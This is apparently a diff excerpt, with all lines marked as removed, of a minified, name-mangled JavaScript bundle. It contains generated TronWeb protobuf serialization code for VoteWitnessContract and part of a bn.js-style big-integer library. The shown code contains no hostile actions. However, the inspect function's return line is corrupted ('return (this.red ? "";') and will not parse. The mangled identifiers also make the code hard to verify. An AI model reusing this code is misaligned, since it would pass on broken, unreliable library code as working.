- };
- TronWebProto.VoteWitnessContract.repeatedFields_ = [2];
- _0x210db4.Message.GENERATE_TO_OBJECT && (TronWebProto.VoteWitnessContract.prototype.toObject = function (_0x1c00b9) {
- return TronWebProto.VoteWitnessContract.toObject(_0x1c00b9, this);
- }, TronWebProto.VoteWitnessContract.toObject = function (_0x23a3f9, _0x158a91) {
- var _0x538ef7 = {
- ownerAddress: _0x158a91.getOwnerAddress_asB64(),
- votesList: _0x210db4.Message.toObjectList(_0x158a91.getVotesList(), TronWebProto.VoteWitnessContract.Vote.toObject, _0x23a3f9),
- support: _0x210db4.Message.getBooleanFieldWithDefault(_0x158a91, 3, false)
- };
- _0x23a3f9 && (_0x538ef7.$jspbMessageInstance = _0x158a91);
- return _0x538ef7;
- });
- TronWebProto.VoteWitnessContract.deserializeBinary = function (_0x3a4485) {
- var _0x318fe7 = new _0x210db4.BinaryReader(_0x3a4485);
- var _0x3771e2 = new TronWebProto.VoteWitnessContract();
- return TronWebProto.VoteWitnessContract.deserializeBinaryFromReader(_0x3771e2, _0x318fe7);
- };
- TronWebProto.VoteWitnessContract.deserializeBinaryFromReader = function (_0xf4aecf, _0x34073c) {
- for (; _0x34073c.nextField() && !_0x34073c.isEndGroup();) {
- switch (_0x34073c.getFieldNumber()) {
- case 1:
- var _0x37e4f9 = _0x34073c.readBytes();
- _0xf4aecf.setOwnerAddress(_0x37e4f9);
- break;
- case 2:
- _0x37e4f9 = new TronWebProto.VoteWitnessContract.Vote();
- _0x34073c.readMessage(_0x37e4f9, TronWebProto.VoteWitnessContract.Vote.deserializeBinaryFromReader);
- _0xf4aecf.addVotes(_0x37e4f9);
- break;
- case 3:
- _0x37e4f9 = _0x34073c.readBool();
- _0xf4aecf.setSupport(_0x37e4f9);
- break;
- default:
- _0x34073c.skipField();
- }
- }
- return _0xf4aecf;
- };
- TronWebProto.VoteWitnessContract.prototype.serializeBinary = function () {
- var _0x2d7389 = new _0x210db4.BinaryWriter();
- TronWebProto.VoteWitnessContract.serializeBinaryToWriter(this, _0x2d7389);
- return _0x2d7389.getResultBuffer();
- };
- TronWebProto.VoteWitnessContract.serializeBinaryToWriter = function (_0x316cde, _0x308c64) {
- var _0x19ae71 = undefined;
- (_0x19ae71 = _0x316cde.getOwnerAddress_asU8()).length > 0 && _0x308c64.writeBytes(1, _0x19ae71);
- (_0x19ae71 = _0x316cde.getVotesList()).length > 0 && _0x308c64.writeRepeatedMessage(2, _0x19ae71, TronWebProto.VoteWitnessContract.Vote.serializeBinaryToWriter);
- (_0x19ae71 = _0x316cde.getSupport()) && _0x308c64.writeBool(3, _0x19ae71);
- };
- _0x210db4.Message.GENERATE_TO_OBJECT && (TronWebProto.VoteWitnessContract.Vote.prototype.toObject = function (_0x5b7b8e) {
- return TronWebProto.VoteWitnessContract.Vote.toObject(_0x5b7b8e, this);
- }, TronWebProto.VoteWitnessContract.Vote.toObject = function (_0x30cc33, _0x113490) {
- var _0x3fa666 = {
- voteAddress: _0x113490.getVoteAddress_asB64(),
- voteCount: _0x210db4.Message.getFieldWithDefault(_0x113490, 2, 0)
- };
- _0x30cc33 && (_0x3fa666.$jspbMessageInstance = _0x113490);
- return _0x3fa666;
- });
- TronWebProto.VoteWitnessContract.Vote.deserializeBinary = function (_0x6a1136) {
- var _0x455639 = new _0x210db4.BinaryReader(_0x6a1136);
- var _0x4321ca = new TronWebProto.VoteWitnessContract.Vote();
- return TronWebProto.VoteWitnessContract.Vote.deserializeBinaryFromReader(_0x4321ca, _0x455639);
- };
- TronWebProto.VoteWitnessContract.Vote.deserializeBinaryFromReader = function (_0x54dbac, _0x139cb1) {
- for (; _0x139cb1.nextField() && !_0x139cb1.isEndGroup();) {
- switch (_0x139cb1.getFieldNumber()) {
- case 1:
- var _0x2c2eec = _0x139cb1.readBytes();
- _0x54dbac.setVoteAddress(_0x2c2eec);
- break;
- case 2:
- _0x2c2eec = _0x139cb1.readInt64();
- _0x54dbac.setVoteCount(_0x2c2eec);
- break;
- default:
- _0x139cb1.skipField();
- }
- }
- return _0x54dbac;
- };
- TronWebProto.VoteWitnessContract.Vote.prototype.serializeBinary = function () {
- var _0x2b6650 = new _0x210db4.BinaryWriter();
- TronWebProto.VoteWitnessContract.Vote.serializeBinaryToWriter(this, _0x2b6650);
- return _0x2b6650.getResultBuffer();
- };
- TronWebProto.VoteWitnessContract.Vote.serializeBinaryToWriter = function (_0x23b71b, _0xa067c5) {
- var _0x5c2826 = undefined;
- (_0x5c2826 = _0x23b71b.getVoteAddress_asU8()).length > 0 && _0xa067c5.writeBytes(1, _0x5c2826);
- 0 !== (_0x5c2826 = _0x23b71b.getVoteCount()) && _0xa067c5.writeInt64(2, _0x5c2826);
- };
- TronWebProto.VoteWitnessContract.Vote.prototype.getVoteAddress = function () {
- return _0x210db4.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.VoteWitnessContract.Vote.prototype.getVoteAddress_asB64 = function () {
- return _0x210db4.Message.bytesAsB64(this.getVoteAddress());
- };
- TronWebProto.VoteWitnessContract.Vote.prototype.getVoteAddress_asU8 = function () {
- return _0x210db4.Message.bytesAsU8(this.getVoteAddress());
- };
- TronWebProto.VoteWitnessContract.Vote.prototype.setVoteAddress = function (_0x55f86f) {
- return _0x210db4.Message.setProto3BytesField(this, 1, _0x55f86f);
- };
- TronWebProto.VoteWitnessContract.Vote.prototype.getVoteCount = function () {
- return _0x210db4.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.VoteWitnessContract.Vote.prototype.setVoteCount = function (_0x22b649) {
- return _0x210db4.Message.setProto3IntField(this, 2, _0x22b649);
- };
- TronWebProto.VoteWitnessContract.prototype.getOwnerAddress = function () {
- return _0x210db4.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.VoteWitnessContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x210db4.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.VoteWitnessContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x210db4.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.VoteWitnessContract.prototype.setOwnerAddress = function (_0x2e5745) {
- return _0x210db4.Message.setProto3BytesField(this, 1, _0x2e5745);
- };
- TronWebProto.VoteWitnessContract.prototype.getVotesList = function () {
- return _0x210db4.Message.getRepeatedWrapperField(this, TronWebProto.VoteWitnessContract.Vote, 2);
- };
- TronWebProto.VoteWitnessContract.prototype.setVotesList = function (_0x1993a0) {
- return _0x210db4.Message.setRepeatedWrapperField(this, 2, _0x1993a0);
- };
- TronWebProto.VoteWitnessContract.prototype.addVotes = function (_0x145978, _0x239976) {
- return _0x210db4.Message.addToRepeatedWrapperField(this, 2, _0x145978, TronWebProto.VoteWitnessContract.Vote, _0x239976);
- };
- TronWebProto.VoteWitnessContract.prototype.clearVotesList = function () {
- return this.setVotesList([]);
- };
- TronWebProto.VoteWitnessContract.prototype.getSupport = function () {
- return _0x210db4.Message.getBooleanFieldWithDefault(this, 3, false);
- };
- TronWebProto.VoteWitnessContract.prototype.setSupport = function (_0x356195) {
- return _0x210db4.Message.setProto3BooleanField(this, 3, _0x356195);
- };
- _0x1b4ad7.object.extend(_0xe70cd6, TronWebProto);
- },
- 3550: function (_0x28bf94, _0x51714d, _0x34df01) {
- !function (_0x495a3b, _0x4efd2d) {
- "use strict";
-
- function _0x53d795(_0x243f77, _0x2e8fb6) {
- if (!_0x243f77) {
- throw new Error(_0x2e8fb6 || "Assertion failed");
- }
- }
- function _0x583dc1(_0x8f4cff, _0x4711c7) {
- _0x8f4cff.super_ = _0x4711c7;
- var _0x5a6891 = function () {};
- _0x5a6891.prototype = _0x4711c7.prototype;
- _0x8f4cff.prototype = new _0x5a6891();
- _0x8f4cff.prototype.constructor = _0x8f4cff;
- }
- function _0x2779a6(_0x684416, _0x2692d8, _0x4a462c) {
- if (_0x2779a6.isBN(_0x684416)) {
- return _0x684416;
- }
- this.negative = 0;
- this.words = null;
- this.length = 0;
- this.red = null;
- null !== _0x684416 && ("le" !== _0x2692d8 && "be" !== _0x2692d8 || (_0x4a462c = _0x2692d8, _0x2692d8 = 10), this._init(_0x684416 || 0, _0x2692d8 || 10, _0x4a462c || "be"));
- }
- var _0x489b9d;
- "object" == typeof _0x495a3b ? _0x495a3b.exports = _0x2779a6 : _0x4efd2d.BN = _0x2779a6;
- _0x2779a6.BN = _0x2779a6;
- _0x2779a6.wordSize = 26;
- try {
- _0x489b9d = "undefined" != typeof window && undefined !== window.Buffer ? window.Buffer : _0x34df01(6601).Buffer;
- } catch (_0x3d2498) {}
- function _0x8ab853(_0xe1430b, _0x12b444) {
- var _0x27eee9 = _0xe1430b.charCodeAt(_0x12b444);
- return _0x27eee9 >= 48 && _0x27eee9 <= 57 ? _0x27eee9 - 48 : _0x27eee9 >= 65 && _0x27eee9 <= 70 ? _0x27eee9 - 55 : _0x27eee9 >= 97 && _0x27eee9 <= 102 ? _0x27eee9 - 87 : void _0x53d795(false, "Invalid character in " + _0xe1430b);
- }
- function _0x153ea9(_0x5ea2a7, _0x9f107e, _0x1fd2a9) {
- var _0x3be9ad = _0x8ab853(_0x5ea2a7, _0x1fd2a9);
- _0x1fd2a9 - 1 >= _0x9f107e && (_0x3be9ad |= _0x8ab853(_0x5ea2a7, _0x1fd2a9 - 1) << 4);
- return _0x3be9ad;
- }
- function _0x17ea76(_0x913494, _0x5cba52, _0x55e994, _0x25ece3) {
- for (var _0x489517 = 0, _0x2517f9 = 0, _0x46136b = Math.min(_0x913494.length, _0x55e994), _0x53f050 = _0x5cba52; _0x53f050 < _0x46136b; _0x53f050++) {
- var _0x342e08 = _0x913494.charCodeAt(_0x53f050) - 48;
- _0x489517 *= _0x25ece3;
- _0x2517f9 = _0x342e08 >= 49 ? _0x342e08 - 49 + 10 : _0x342e08 >= 17 ? _0x342e08 - 17 + 10 : _0x342e08;
- _0x53d795(_0x342e08 >= 0 && _0x2517f9 < _0x25ece3, "Invalid character");
- _0x489517 += _0x2517f9;
- }
- return _0x489517;
- }
- function _0x1d66b1(_0xb775e3, _0x439848) {
- _0xb775e3.words = _0x439848.words;
- _0xb775e3.length = _0x439848.length;
- _0xb775e3.negative = _0x439848.negative;
- _0xb775e3.red = _0x439848.red;
- }
- if (_0x2779a6.isBN = function (_0x2975f9) {
- return _0x2975f9 instanceof _0x2779a6 || null !== _0x2975f9 && "object" == typeof _0x2975f9 && _0x2975f9.constructor.wordSize === _0x2779a6.wordSize && Array.isArray(_0x2975f9.words);
- }, _0x2779a6.max = function (_0x1c9419, _0x11e495) {
- return _0x1c9419.cmp(_0x11e495) > 0 ? _0x1c9419 : _0x11e495;
- }, _0x2779a6.min = function (_0xb01d14, _0x2b4a50) {
- return _0xb01d14.cmp(_0x2b4a50) < 0 ? _0xb01d14 : _0x2b4a50;
- }, _0x2779a6.prototype._init = function (_0x490d86, _0xeabe9d, _0x145aa1) {
- if ("number" == typeof _0x490d86) {
- return this._initNumber(_0x490d86, _0xeabe9d, _0x145aa1);
- }
- if ("object" == typeof _0x490d86) {
- return this._initArray(_0x490d86, _0xeabe9d, _0x145aa1);
- }
- "hex" === _0xeabe9d && (_0xeabe9d = 16);
- _0x53d795(_0xeabe9d === (0 | _0xeabe9d) && _0xeabe9d >= 2 && _0xeabe9d <= 36);
- var _0x31341d = 0;
- "-" === (_0x490d86 = _0x490d86.toString().replace(/\s+/g, ""))[0] && (_0x31341d++, this.negative = 1);
- _0x31341d < _0x490d86.length && (16 === _0xeabe9d ? this._parseHex(_0x490d86, _0x31341d, _0x145aa1) : (this._parseBase(_0x490d86, _0xeabe9d, _0x31341d), "le" === _0x145aa1 && this._initArray(this.toArray(), _0xeabe9d, _0x145aa1)));
- }, _0x2779a6.prototype._initNumber = function (_0x5c1ee9, _0x393d16, _0x19d3b0) {
- _0x5c1ee9 < 0 && (this.negative = 1, _0x5c1ee9 = -_0x5c1ee9);
- _0x5c1ee9 < 67108864 ? (this.words = [67108863 & _0x5c1ee9], this.length = 1) : _0x5c1ee9 < 4503599627370496 ? (this.words = [67108863 & _0x5c1ee9, _0x5c1ee9 / 67108864 & 67108863], this.length = 2) : (_0x53d795(_0x5c1ee9 < 9007199254740992), this.words = [67108863 & _0x5c1ee9, _0x5c1ee9 / 67108864 & 67108863, 1], this.length = 3);
- "le" === _0x19d3b0 && this._initArray(this.toArray(), _0x393d16, _0x19d3b0);
- }, _0x2779a6.prototype._initArray = function (_0x3e693f, _0x5ceb63, _0x421b26) {
- if (_0x53d795("number" == typeof _0x3e693f.length), _0x3e693f.length <= 0) {
- this.words = [0];
- this.length = 1;
- return this;
- }
- this.length = Math.ceil(_0x3e693f.length / 3);
- this.words = new Array(this.length);
- for (var _0x1768d3 = 0; _0x1768d3 < this.length; _0x1768d3++) {
- this.words[_0x1768d3] = 0;
- }
- var _0x3a327f;
- var _0x511224;
- var _0x256aa7 = 0;
- if ("be" === _0x421b26) {
- for (_0x1768d3 = _0x3e693f.length - 1, _0x3a327f = 0; _0x1768d3 >= 0; _0x1768d3 -= 3) {
- _0x511224 = _0x3e693f[_0x1768d3] | _0x3e693f[_0x1768d3 - 1] << 8 | _0x3e693f[_0x1768d3 - 2] << 16;
- this.words[_0x3a327f] |= _0x511224 << _0x256aa7 & 67108863;
- this.words[_0x3a327f + 1] = _0x511224 >>> 26 - _0x256aa7 & 67108863;
- (_0x256aa7 += 24) >= 26 && (_0x256aa7 -= 26, _0x3a327f++);
- }
- } else {
- if ("le" === _0x421b26) {
- for (_0x1768d3 = 0, _0x3a327f = 0; _0x1768d3 < _0x3e693f.length; _0x1768d3 += 3) {
- _0x511224 = _0x3e693f[_0x1768d3] | _0x3e693f[_0x1768d3 + 1] << 8 | _0x3e693f[_0x1768d3 + 2] << 16;
- this.words[_0x3a327f] |= _0x511224 << _0x256aa7 & 67108863;
- this.words[_0x3a327f + 1] = _0x511224 >>> 26 - _0x256aa7 & 67108863;
- (_0x256aa7 += 24) >= 26 && (_0x256aa7 -= 26, _0x3a327f++);
- }
- }
- }
- return this._strip();
- }, _0x2779a6.prototype._parseHex = function (_0x7dd770, _0x54c271, _0x45fa19) {
- this.length = Math.ceil((_0x7dd770.length - _0x54c271) / 6);
- this.words = new Array(this.length);
- for (var _0x1e01bc = 0; _0x1e01bc < this.length; _0x1e01bc++) {
- this.words[_0x1e01bc] = 0;
- }
- var _0x3fbbdf;
- var _0x4ac5f3 = 0;
- var _0x29db38 = 0;
- if ("be" === _0x45fa19) {
- for (_0x1e01bc = _0x7dd770.length - 1; _0x1e01bc >= _0x54c271; _0x1e01bc -= 2) {
- _0x3fbbdf = _0x153ea9(_0x7dd770, _0x54c271, _0x1e01bc) << _0x4ac5f3;
- this.words[_0x29db38] |= 67108863 & _0x3fbbdf;
- _0x4ac5f3 >= 18 ? (_0x4ac5f3 -= 18, _0x29db38 += 1, this.words[_0x29db38] |= _0x3fbbdf >>> 26) : _0x4ac5f3 += 8;
- }
- } else {
- for (_0x1e01bc = (_0x7dd770.length - _0x54c271) % 2 == 0 ? _0x54c271 + 1 : _0x54c271; _0x1e01bc < _0x7dd770.length; _0x1e01bc += 2) {
- _0x3fbbdf = _0x153ea9(_0x7dd770, _0x54c271, _0x1e01bc) << _0x4ac5f3;
- this.words[_0x29db38] |= 67108863 & _0x3fbbdf;
- _0x4ac5f3 >= 18 ? (_0x4ac5f3 -= 18, _0x29db38 += 1, this.words[_0x29db38] |= _0x3fbbdf >>> 26) : _0x4ac5f3 += 8;
- }
- }
- this._strip();
- }, _0x2779a6.prototype._parseBase = function (_0x59da25, _0x57567c, _0x46b2ce) {
- this.words = [0];
- this.length = 1;
- for (var _0x353aac = 0, _0x4e7e91 = 1; _0x4e7e91 <= 67108863; _0x4e7e91 *= _0x57567c) {
- _0x353aac++;
- }
- _0x353aac--;
- _0x4e7e91 = _0x4e7e91 / _0x57567c | 0;
- for (var _0x3ce54e = _0x59da25.length - _0x46b2ce, _0x30eb33 = _0x3ce54e % _0x353aac, _0x5080d0 = Math.min(_0x3ce54e, _0x3ce54e - _0x30eb33) + _0x46b2ce, _0x5ac87a = 0, _0x14daa3 = _0x46b2ce; _0x14daa3 < _0x5080d0; _0x14daa3 += _0x353aac) {
- _0x5ac87a = _0x17ea76(_0x59da25, _0x14daa3, _0x14daa3 + _0x353aac, _0x57567c);
- this.imuln(_0x4e7e91);
- this.words[0] + _0x5ac87a < 67108864 ? this.words[0] += _0x5ac87a : this._iaddn(_0x5ac87a);
- }
- if (0 !== _0x30eb33) {
- var _0x30940c = 1;
- for (_0x5ac87a = _0x17ea76(_0x59da25, _0x14daa3, _0x59da25.length, _0x57567c), _0x14daa3 = 0; _0x14daa3 < _0x30eb33; _0x14daa3++) {
- _0x30940c *= _0x57567c;
- }
- this.imuln(_0x30940c);
- this.words[0] + _0x5ac87a < 67108864 ? this.words[0] += _0x5ac87a : this._iaddn(_0x5ac87a);
- }
- this._strip();
- }, _0x2779a6.prototype.copy = function (_0x57f410) {
- _0x57f410.words = new Array(this.length);
- for (var _0x571f4a = 0; _0x571f4a < this.length; _0x571f4a++) {
- _0x57f410.words[_0x571f4a] = this.words[_0x571f4a];
- }
- _0x57f410.length = this.length;
- _0x57f410.negative = this.negative;
- _0x57f410.red = this.red;
- }, _0x2779a6.prototype._move = function (_0x325b53) {
- _0x1d66b1(_0x325b53, this);
- }, _0x2779a6.prototype.clone = function () {
- var _0xb9e475 = new _0x2779a6(null);
- this.copy(_0xb9e475);
- return _0xb9e475;
- }, _0x2779a6.prototype._expand = function (_0x4b4a63) {
- for (; this.length < _0x4b4a63;) {
- this.words[this.length++] = 0;
- }
- return this;
- }, _0x2779a6.prototype._strip = function () {
- for (; this.length > 1 && 0 === this.words[this.length - 1];) {
- this.length--;
- }
- return this._normSign();
- }, _0x2779a6.prototype._normSign = function () {
- 1 === this.length && 0 === this.words[0] && (this.negative = 0);
- return this;
- }, "undefined" != typeof Symbol && "function" == typeof Symbol.for) {
- try {
- _0x2779a6.prototype[Symbol.for("nodejs.util.inspect.custom")] = _0xc8e142;
- } catch (_0x4558bb) {
- _0x2779a6.prototype.inspect = _0xc8e142;
- }
- } else {
- _0x2779a6.prototype.inspect = _0xc8e142;
- }
- function _0xc8e142() {
- return (this.red ? "";
- }
- var _0x100687 = ["", "0", "00", "000", "0000", "00000", "000000", "0000000", "00000000", "000000000", "0000000000", "00000000000", "000000000000", "0000000000000", "00000000000000", "000000000000000", "0000000000000000", "00000000000000000", "000000000000000000", "0000000000000000000", "00000000000000000000", "000000000000000000000", "0000000000000000000000", "00000000000000000000000", "000000000000000000000000", "0000000000000000000000000"];
- var _0x4bda97 = [0, 0, 25, 16, 12, 11, 10, 9, 8, 8, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5];
- var _0x3cad4b = [0, 0, 33554432, 43046721, 16777216, 48828125, 60466176, 40353607, 16777216, 43046721, 10000000, 19487171, 35831808, 62748517, 7529536, 11390625, 16777216, 24137569, 34012224, 47045881, 64000000, 4084101, 5153632, 6436343, 7962624, 9765625, 11881376, 14348907, 17210368, 20511149, 24300000, 28629151, 33554432, 39135393, 45435424, 52521875, 60466176];
- function _0x3ace3a(_0x3fd76e, _0x583da0, _0x33097c) {
- _0x33097c.negative = _0x583da0.negative ^ _0x3fd76e.negative;
- var _0x2b3919 = _0x3fd76e.length + _0x583da0.length | 0;
- _0x33097c.length = _0x2b3919;
- _0x2b3919 = _0x2b3919 - 1 | 0;
- var _0x38a174 = 0 | _0x3fd76e.words[0];
- var _0x122f23 = 0 | _0x583da0.words[0];
- var _0x1d8684 = _0x38a174 * _0x122f23;
- var _0x501279 = 67108863 & _0x1d8684;
- var _0x2ca218 = _0x1d8684 / 67108864 | 0;
- _0x33097c.words[0] = _0x501279;
- for (var _0x29a7f7 = 1; _0x29a7f7 < _0x2b3919; _0x29a7f7++) {
- for (var _0x467e0b = _0x2ca218 >>> 26, _0x491830 = 67108863 & _0x2ca218, _0x4127eb = Math.min(_0x29a7f7, _0x583da0.length - 1), _0x57c11c = Math.max(0, _0x29a7f7 - _0x3fd76e.length + 1); _0x57c11c <= _0x4127eb; _0x57c11c++) {
- var _0x1ac971 = _0x29a7f7 - _0x57c11c | 0;
- _0x467e0b += (_0x1d8684 = (_0x38a174 = 0 | _0x3fd76e.words[_0x1ac971]) * (_0x122f23 = 0 | _0x583da0.words[_0x57c11c]) + _0x491830) / 67108864 | 0;
- _0x491830 = 67108863 & _0x1d8684;
- }
- _0x33097c.words[_0x29a7f7] = 0 | _0x491830;
- _0x2ca218 = 0 | _0x467e0b;
- }
- 0 !== _0x2ca218 ? _0x33097c.words[_0x29a7f7] = 0 | _0x2ca218 : _0x33097c.length--;
- return _0x33097c._strip();
- }
- _0x2779a6.prototype.toString = function (_0x2884d4, _0x41523d) {
- var _0xa132ba;
- if (_0x41523d = 0 | _0x41523d || 1, 16 === (_0x2884d4 = _0x2884d4 || 10) || "hex" === _0x2884d4) {
- _0xa132ba = "";
- for (var _0x35103e = 0, _0x5eb366 = 0, _0x275530 = 0; _0x275530 < this.length; _0x275530++) {
- var _0x34c85e = this.words[_0x275530];
- var _0x42f119 = (16777215 & (_0x34c85e << _0x35103e | _0x5eb366)).toString(16);
- _0x5eb366 = _0x34c85e >>> 24 - _0x35103e & 16777215;
- (_0x35103e += 2) >= 26 && (_0x35103e -= 26, _0x275530--);
- _0xa132ba = 0 !== _0x5eb366 || _0x275530 !== this.length - 1 ? _0x100687[6 - _0x42f119.length] + _0x42f119 + _0xa132ba : _0x42f119 + _0xa132ba;
- }
- for (0 !== _0x5eb366 && (_0xa132ba = _0x5eb366.toString(16) + _0xa132ba); _0xa132ba.length % _0x41523d != 0;) {
- _0xa132ba = "0" + _0xa132ba;
- }
- 0 !== this.negative && (_0xa132ba = "-" + _0xa132ba);
- return _0xa132ba;
- }
- if (_0x2884d4 === (0 | _0x2884d4) && _0x2884d4 >= 2 && _0x2884d4 <= 36) {
- var _0x50560b = _0x4bda97[_0x2884d4];
- var _0xa9c8ea = _0x3cad4b[_0x2884d4];
- _0xa132ba = "";
- var _0x5c5812 = this.clone();
- for (_0x5c5812.negative = 0; !_0x5c5812.isZero();) {
- var _0x29423b = _0x5c5812.modrn(_0xa9c8ea).toString(_0x2884d4);
- _0xa132ba = (_0x5c5812 = _0x5c5812.idivn(_0xa9c8ea)).isZero() ? _0x29423b + _0xa132ba : _0x100687[_0x50560b - _0x29423b.length] + _0x29423b + _0xa132ba;
- }
- for (this.isZero() && (_0xa132ba = "0" + _0xa132ba); _0xa132ba.length % _0x41523d != 0;) {
- _0xa132ba = "0" + _0xa132ba;
- }
- 0 !== this.negative && (_0xa132ba = "-" + _0xa132ba);
- return _0xa132ba;
- }
- _0x53d795(false, "Base should be between 2 and 36");
- };
- _0x2779a6.prototype.toNumber = function () {
- var _0x1216f2 = this.words[0];
- 2 === this.length ? _0x1216f2 += 67108864 * this.words[1] : 3 === this.length && 1 === this.words[2] ? _0x1216f2 += 4503599627370496 + 67108864 * this.words[1] : this.length > 2 && _0x53d795(false, "Number can only safely store up to 53 bits");
- return 0 !== this.negative ? -_0x1216f2 : _0x1216f2;
- };
- _0x2779a6.prototype.toJSON = function () {
- return this.toString(16, 2);
- };
- _0x489b9d && (_0x2779a6.prototype.toBuffer = function (_0x4fb1a6, _0x35850a) {
- return this.toArrayLike(_0x489b9d, _0x4fb1a6, _0x35850a);
- });
- _0x2779a6.prototype.toArray = function (_0x711ffe, _0x54d1c2) {
- return this.toArrayLike(Array, _0x711ffe, _0x54d1c2);
- };
- _0x2779a6.prototype.toArrayLike = function (_0x3b20a9, _0x2e01e9, _0x47876e) {
- this._strip();
- var _0x3bc42c = this.byteLength();
- var _0x1583c5 = _0x47876e || Math.max(1, _0x3bc42c);
- _0x53d795(_0x3bc42c <= _0x1583c5, "byte array longer than desired length");
- _0x53d795(_0x1583c5 > 0, "Requested array length <= 0");
- var _0x3cfee3 = function (_0x3dff2e, _0x5c8a35) {
- return _0x3dff2e.allocUnsafe ? _0x3dff2e.allocUnsafe(_0x5c8a35) : new _0x3dff2e(_0x5c8a35);
- }(_0x3b20a9, _0x1583c5);
- this["_toArrayLike" + ("le" === _0x2e01e9 ? "LE" : "BE")](_0x3cfee3, _0x3bc42c);
- return _0x3cfee3;
- };
- _0x2779a6.prototype._toArrayLikeLE = function (_0x568d4b, _0xf2c713) {
- for (var _0x22429b = 0, _0x4ea8e5 = 0, _0x5a9ddd = 0, _0x3fe1d8 = 0; _0x5a9ddd < this.length; _0x5a9ddd++) {
- var _0x3b4898 = this.words[_0x5a9ddd] << _0x3fe1d8 | _0x4ea8e5;
- _0x568d4b[_0x22429b++] = 255 & _0x3b4898;
- _0x22429b < _0x568d4b.length && (_0x568d4b[_0x22429b++] = _0x3b4898 >> 8 & 255);
- _0x22429b < _0x568d4b.length && (_0x568d4b[_0x22429b++] = _0x3b4898 >> 16 & 255);
- 6 === _0x3fe1d8 ? (_0x22429b < _0x568d4b.length && (_0x568d4b[_0x22429b++] = _0x3b4898 >> 24 & 255), _0x4ea8e5 = 0, _0x3fe1d8 = 0) : (_0x4ea8e5 = _0x3b4898 >>> 24, _0x3fe1d8 += 2);
- }
- if (_0x22429b < _0x568d4b.length) {
- for (_0x568d4b[_0x22429b++] = _0x4ea8e5; _0x22429b < _0x568d4b.length;) {
- _0x568d4b[_0x22429b++] = 0;
- }
- }
- };
- _0x2779a6.prototype._toArrayLikeBE = function (_0x120689, _0x10f0d7) {
- for (var _0x334877 = _0x120689.length - 1, _0x258025 = 0, _0x4631dc = 0, _0x20eb2d = 0; _0x4631dc < this.length; _0x4631dc++) {
- var _0x259f77 = this.words[_0x4631dc] << _0x20eb2d | _0x258025;
- _0x120689[_0x334877--] = 255 & _0x259f77;
- _0x334877 >= 0 && (_0x120689[_0x334877--] = _0x259f77 >> 8 & 255);
- _0x334877 >= 0 && (_0x120689[_0x334877--] = _0x259f77 >> 16 & 255);
- 6 === _0x20eb2d ? (_0x334877 >= 0 && (_0x120689[_0x334877--] = _0x259f77 >> 24 & 255), _0x258025 = 0, _0x20eb2d = 0) : (_0x258025 = _0x259f77 >>> 24, _0x20eb2d += 2);
- }
- if (_0x334877 >= 0) {
- for (_0x120689[_0x334877--] = _0x258025; _0x334877 >= 0;) {
- _0x120689[_0x334877--] = 0;
- }
- }
- };
- Math.clz32 ? _0x2779a6.prototype._countBits = function (_0x531e9e) {
- return 32 - Math.clz32(_0x531e9e);
- } : _0x2779a6.prototype._countBits = function (_0x209a5f) {
- var _0x471b29 = _0x209a5f;
- var _0xdc5391 = 0;
- _0x471b29 >= 4096 && (_0xdc5391 += 13, _0x471b29 >>>= 13);
- _0x471b29 >= 64 && (_0xdc5391 += 7, _0x471b29 >>>= 7);
- _0x471b29 >= 8 && (_0xdc5391 += 4, _0x471b29 >>>= 4);
- _0x471b29 >= 2 && (_0xdc5391 += 2, _0x471b29 >>>= 2);
- return _0xdc5391 + _0x471b29;
- };
- _0x2779a6.prototype._zeroBits = function (_0x5b4138) {
- if (0 === _0x5b4138) {
- return 26;
- }
- var _0x194eac = _0x5b4138;
- var _0x2f5aca = 0;
- 0 == (8191 & _0x194eac) && (_0x2f5aca += 13, _0x194eac >>>= 13);
- 0 == (127 & _0x194eac) && (_0x2f5aca += 7, _0x194eac >>>= 7);
- 0 == (15 & _0x194eac) && (_0x2f5aca += 4, _0x194eac >>>= 4);
- 0 == (3 & _0x194eac) && (_0x2f5aca += 2, _0x194eac >>>= 2);
- 0 == (1 & _0x194eac) && _0x2f5aca++;
- return _0x2f5aca;
- };
- _0x2779a6.prototype.bitLength = function () {
- var _0x2bb15d = this.words[this.length - 1];
- var _0x26ea1a = this._countBits(_0x2bb15d);
- return 26 * (this.length - 1) + _0x26ea1a;
- };
- _0x2779a6.prototype.zeroBits = function () {
- if (this.isZero()) {
- return 0;
- }
- for (var _0x15098b = 0, _0x5c0196 = 0; _0x5c0196 < this.length; _0x5c0196++) {
- var _0x31b094 = this._zeroBits(this.words[_0x5c0196]);
- if (_0x15098b += _0x31b094, 26 !== _0x31b094) {
- break;
- }
- }
- return _0x15098b;
- };
- _0x2779a6.prototype.byteLength = function () {
- return Math.ceil(this.bitLength() / 8);
- };
- _0x2779a6.prototype.toTwos = function (_0x4a9cf6) {
- return 0 !== this.negative ? this.abs().inotn(_0x4a9cf6).iaddn(1) : this.clone();
- };
- _0x2779a6.prototype.fromTwos = function (_0x3ad7e7) {
- return this.testn(_0x3ad7e7 - 1) ? this.notn(_0x3ad7e7).iaddn(1).ineg() : this.clone();
- };
- _0x2779a6.prototype.isNeg = function () {
- return 0 !== this.negative;
- };
- _0x2779a6.prototype.neg = function () {
- return this.clone().ineg();
- };
- _0x2779a6.prototype.ineg = function () {
- this.isZero() || (this.negative ^= 1);
- return this;
- };
- _0x2779a6.prototype.iuor = function (_0x55a6d6) {
- for (; this.length < _0x55a6d6.length;) {
- this.words[this.length++] = 0;
- }
- for (var _0x133259 = 0; _0x133259 < _0x55a6d6.length; _0x133259++) {
- this.words[_0x133259] = this.words[_0x133259] | _0x55a6d6.words[_0x133259];
- }
- return this._strip();
- };
- _0x2779a6.prototype.ior = function (_0x25cd74) {
- _0x53d795(0 == (this.negative | _0x25cd74.negative));
- return this.iuor(_0x25cd74);
- };
- _0x2779a6.prototype.or = function (_0x5a7165) {
- return this.length > _0x5a7165.length ? this.clone().ior(_0x5a7165) : _0x5a7165.clone().ior(this);
- };
- _0x2779a6.prototype.uor = function (_0x3af4b3) {
- return this.length > _0x3af4b3.length ? this.clone().iuor(_0x3af4b3) : _0x3af4b3.clone().iuor(this);
- };
